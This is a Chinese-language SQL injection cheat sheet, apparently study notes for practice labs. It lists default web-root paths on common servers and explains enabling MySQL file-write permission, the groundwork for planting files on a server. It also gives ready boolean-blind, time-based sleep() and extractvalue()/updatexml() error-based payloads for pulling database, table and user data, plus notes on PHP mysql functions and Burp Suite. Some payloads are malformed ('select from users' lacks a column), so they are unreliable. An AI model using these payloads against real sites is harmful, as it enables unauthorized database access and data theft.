common SQL command
winserver的iis默认路径: c:\Inetpub\wwwroot
linux的nginx 一般是 /usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache : …/var/www/htm,…/var/www/html/htdocs
phpstudy : …\PhpStudy20180211\PHPTutorial\WWW
xammp : …\xampp\htdocs
1.Sever 默认路径
winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就…/var/www/htm,…/var/www/html/htdocs
phpstudy 就是…\PhpStudy20180211\PHPTutorial\WWW
xammp 就是…\xampp\htdocs
2.写入文件权限
需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。若使用phpstudy,或者xammp请修改其自己的环境里的mysql配置文件。
进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数
如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
如果引号中是一个文件路径的话,导入/出的文件路径会再这个路径下。
3.通用注入payload(针对不同database做相应参数修改)
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
依次查询库名,表名,列名等相关字段。
通用payload:
?id=1’ and left((select database()),1)=‘s’–+ //按字查询库名
?id=1’ and length(database())=8–+ //判断库名长度
?id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=‘r’ --+ //按字查询表名
定向查询,username,password等字段
通用payload:
?id=1’ and left((select from users order by id limit 0,1),1)=‘d’ --+
?id=1’ and left((select from users order by id limit 0,1),1)=‘d’ --+
无有效回显时,考虑利用sleep()延迟回显注入
时间型BTBI payload:?id=1’ and sleep(3) --+
- 常见函数
mysql_fetch_row() 函数从结果集中取得一行作为数字数组。
mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有(返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。)
mysql_fetch_row(data)
mysql_fetch_row() 从和结果标识 data 关联的结果集中取得一行数据并作为数组返回。每个结果的列储存在一个数组的单元中,偏移量从 0 开始。
依次调用 mysql_fetch_row() 将返回结果集中的下一行,如果没有更多行则返回 FALSE。
mysql_query() 函数执行一条 MySQL 查询。
mysql_query(query,connection)如果没有打开的连接,本函数会尝试无参数调用 mysql_connect() 函数来建立一个连接并使用之。
query必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。
connection可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接
mysql_query() 仅对 SELECT,SHOW,EXPLAIN 或 DESCRIBE 语句返回一个资源标识符,如果查询执行不正确则返回 FALSE。
对于其它类型的 SQL 语句,mysql_query() 在执行成功时返回 TRUE,出错时返回 FALSE。
非 FALSE 的返回值意味着查询是合法的并能够被服务器执行。这并不说明任何有关影响到的或返回的行数。很有可能一条查询执行成功了但并未影响到或并未返回任何行。
extractvalue()
extractvalue() :对XML文档进行查询的函数
相当于HTML文件中用 <div><p><a>标签查找元素
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式,就会报错,并且会返回写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
5.HTTP 请求方法
在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。
GET - 从指定的资源请求数据。
POST - 向指定的资源提交要被处理的数据
因此若提交方式是post型的,则可以使用burpsuit抓包软件,修改post参数
6.url链接粘贴下来后通常会出现类似%E4%BD%A0%E5%A5%BD的编码,一般来说一个中文字对应三个%编码的是utf-8, 一个中文字对应两个%编码的是GB2312。